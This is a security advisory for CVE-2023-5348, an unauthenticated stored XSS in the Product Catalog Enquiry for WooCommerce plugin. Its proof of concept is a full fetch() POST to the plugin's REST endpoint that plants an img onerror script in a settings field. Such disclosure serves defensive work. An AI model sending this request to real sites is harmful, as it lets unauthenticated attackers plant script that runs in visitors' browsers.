Product Catalog Enquiry for WooCommerce < 5.0.3 – Unauthenticated Stored XSS via Arbitrary Setting Update | CVE 2023-5348

Description

The plugin does not properly authorize settings updates or escape settings values, leading to stored XSS by unauthenticated users.

Proof of Concept

1) Make sure the plugin is configured with the "Catalog Mode" activated.
2) Launch the following from your browser's console:

```
fetch("http://vulnerable-site.tld/wp-json/mvx_catalog/v1/save_enquiry", {"headers": {"content-type": "application/json",},  "body": " {\"model\":{\"from_loading\":true,\"statedrop\":[],\"errordisplay\":\"Settings Saved\",\"complete_option_value\":[],\"button_type\":{\"value\":\"4\",\"label\":\"No Link Just #\",\"index\":3},\"is_button\":[\"is_button\"],\"custom_hover_background_color\":\"#0}</style><img src=x onerror=alert(7)>\",\"woocommerce_catalog_enquiry_button2_settings\":\"\",\"custom_css_product_page\":\"BBBBBBB00\"},\"modulename\":\"button-appearance\"}","method": "POST","mode": "cors","credentials": "include"});
```

3) Visit a product page